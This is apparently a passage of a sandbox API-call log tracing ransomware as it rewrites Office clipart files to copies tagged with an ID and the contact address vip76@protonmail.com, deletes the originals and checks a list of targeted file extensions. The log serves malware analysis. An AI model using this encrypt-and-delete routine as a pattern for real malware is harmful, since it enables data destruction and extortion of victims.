	[0086.652] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.652] lstrlenW (lpString="FD00077_.WMF") returned 12
	[0086.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.652] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=30240) returned 1
	[0086.652] CloseHandle (hObject=0x364) returned 1
	[0086.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220
	[0086.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.652] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.653] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.653] GetLastError () returned 0x0
	[0086.653] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x7620, lpOverlapped=0x0) returned 1
	[0086.657] WriteFile (in: hFile=0x36c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x7630, lpOverlapped=0x0) returned 1
	[0086.659] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.659] WriteFile (in: hFile=0x36c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.659] SetEndOfFile (hFile=0x36c) returned 1
	[0086.659] CloseHandle (hObject=0x36c) returned 1
	[0086.659] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.659] SetEndOfFile (hFile=0x364) returned 1
	[0086.660] CloseHandle (hObject=0x364) returned 1
	[0086.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1
	[0086.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.661] lstrlenW (lpString=".doc") returned 4
	[0086.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.661] lstrlenW (lpString=".docx") returned 5
	[0086.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.661] lstrlenW (lpString=".pdf") returned 4
	[0086.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.661] lstrlenW (lpString=".xls") returned 4
	[0086.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.661] lstrlenW (lpString=".xlsx") returned 5
	[0086.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.661] lstrlenW (lpString=".ppt") returned 4
	[0086.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.661] lstrlenW (lpString=".zip") returned 4
	[0086.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.661] lstrlenW (lpString=".rar") returned 4
	[0086.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.661] lstrlenW (lpString=".bz2") returned 4
	[0086.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.661] lstrlenW (lpString=".7z") returned 3
	[0086.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.661] lstrlenW (lpString=".dbf") returned 4
	[0086.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.662] lstrlenW (lpString=".1cd") returned 4
	[0086.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.662] lstrlenW (lpString=".jpg") returned 4
	[0086.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.662] lstrlenW (lpString=".doc") returned 4
	[0086.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString=".docx") returned 5
	[0086.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.662] lstrlenW (lpString=".pdf") returned 4
	[0086.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString=".xls") returned 4
	[0086.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.662] lstrlenW (lpString=".xlsx") returned 5
	[0086.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.662] lstrlenW (lpString=".ppt") returned 4
	[0086.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.662] lstrlenW (lpString=".zip") returned 4
	[0086.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.662] lstrlenW (lpString=".rar") returned 4
	[0086.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString=".bz2") returned 4
	[0086.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.662] lstrlenW (lpString=".7z") returned 3
	[0086.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.662] lstrlenW (lpString=".dbf") returned 4
	[0086.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".1cd") returned 4
	[0086.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".jpg") returned 4
	[0086.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.663] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.663] lstrlenW (lpString="FD00086_.WMF") returned 12
	[0086.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.663] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=29212) returned 1
	[0086.663] CloseHandle (hObject=0x364) returned 1
	[0086.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220
	[0086.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.664] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.664] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.664] GetLastError () returned 0x0
	[0086.664] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x721c, lpOverlapped=0x0) returned 1
	[0086.670] WriteFile (in: hFile=0x36c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x7220, lpOverlapped=0x0) returned 1
	[0086.672] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.672] WriteFile (in: hFile=0x36c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.672] SetEndOfFile (hFile=0x36c) returned 1
	[0086.672] CloseHandle (hObject=0x36c) returned 1
	[0086.672] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.672] SetEndOfFile (hFile=0x364) returned 1
	[0086.673] CloseHandle (hObject=0x364) returned 1
	[0086.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".doc") returned 4
	[0086.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".docx") returned 5
	[0086.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.674] lstrlenW (lpString=".pdf") returned 4
	[0086.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".xls") returned 4
	[0086.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.674] lstrlenW (lpString=".xlsx") returned 5
	[0086.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.674] lstrlenW (lpString=".ppt") returned 4
	[0086.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".zip") returned 4
	[0086.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.674] lstrlenW (lpString=".rar") returned 4
	[0086.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".bz2") returned 4
	[0086.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString=".7z") returned 3
	[0086.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".dbf") returned 4
	[0086.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".1cd") returned 4
	[0086.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.674] lstrlenW (lpString=".jpg") returned 4
	[0086.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".doc") returned 4
	[0086.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".docx") returned 5
	[0086.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.675] lstrlenW (lpString=".pdf") returned 4
	[0086.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".xls") returned 4
	[0086.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.675] lstrlenW (lpString=".xlsx") returned 5
	[0086.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.675] lstrlenW (lpString=".ppt") returned 4
	[0086.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".zip") returned 4
	[0086.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.675] lstrlenW (lpString=".rar") returned 4
	[0086.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".bz2") returned 4
	[0086.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString=".7z") returned 3
	[0086.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".dbf") returned 4
	[0086.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".1cd") returned 4
	[0086.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0086.675] lstrlenW (lpString=".jpg") returned 4
	[0086.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.676] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.676] lstrlenW (lpString="FD00096_.WMF") returned 12
	[0086.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.682] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=37390) returned 1
	[0086.683] CloseHandle (hObject=0x328) returned 1
	[0086.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220
	[0086.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.683] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.683] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.684] GetLastError () returned 0x0
	[0086.684] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x920e, lpOverlapped=0x0) returned 1
	[0086.688] WriteFile (in: hFile=0x378, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x9210, lpOverlapped=0x0) returned 1
	[0086.689] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.689] WriteFile (in: hFile=0x378, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.689] SetEndOfFile (hFile=0x378) returned 1
	[0086.689] CloseHandle (hObject=0x378) returned 1
	[0086.689] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.689] SetEndOfFile (hFile=0x328) returned 1
	[0086.690] CloseHandle (hObject=0x328) returned 1
	[0086.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1
	[0086.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.691] lstrlenW (lpString=".doc") returned 4
	[0086.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.691] lstrlenW (lpString=".docx") returned 5
	[0086.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.691] lstrlenW (lpString=".pdf") returned 4
	[0086.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.691] lstrlenW (lpString=".xls") returned 4
	[0086.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.692] lstrlenW (lpString=".xlsx") returned 5
	[0086.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.692] lstrlenW (lpString=".ppt") returned 4
	[0086.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.692] lstrlenW (lpString=".zip") returned 4
	[0086.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.692] lstrlenW (lpString=".rar") returned 4
	[0086.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString=".bz2") returned 4
	[0086.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString=".7z") returned 3
	[0086.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.692] lstrlenW (lpString=".dbf") returned 4
	[0086.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.692] lstrlenW (lpString=".1cd") returned 4
	[0086.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.692] lstrlenW (lpString=".jpg") returned 4
	[0086.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.692] lstrlenW (lpString=".doc") returned 4
	[0086.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.692] lstrlenW (lpString=".docx") returned 5
	[0086.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.693] lstrlenW (lpString=".pdf") returned 4
	[0086.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.693] lstrlenW (lpString=".xls") returned 4
	[0086.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.693] lstrlenW (lpString=".xlsx") returned 5
	[0086.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.693] lstrlenW (lpString=".ppt") returned 4
	[0086.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.693] lstrlenW (lpString=".zip") returned 4
	[0086.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.693] lstrlenW (lpString=".rar") returned 4
	[0086.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.693] lstrlenW (lpString=".bz2") returned 4
	[0086.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.693] lstrlenW (lpString=".7z") returned 3
	[0086.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.693] lstrlenW (lpString=".dbf") returned 4
	[0086.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.693] lstrlenW (lpString=".1cd") returned 4
	[0086.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0086.693] lstrlenW (lpString=".jpg") returned 4
	[0086.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.694] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.694] lstrlenW (lpString="FD00297_.WMF") returned 12
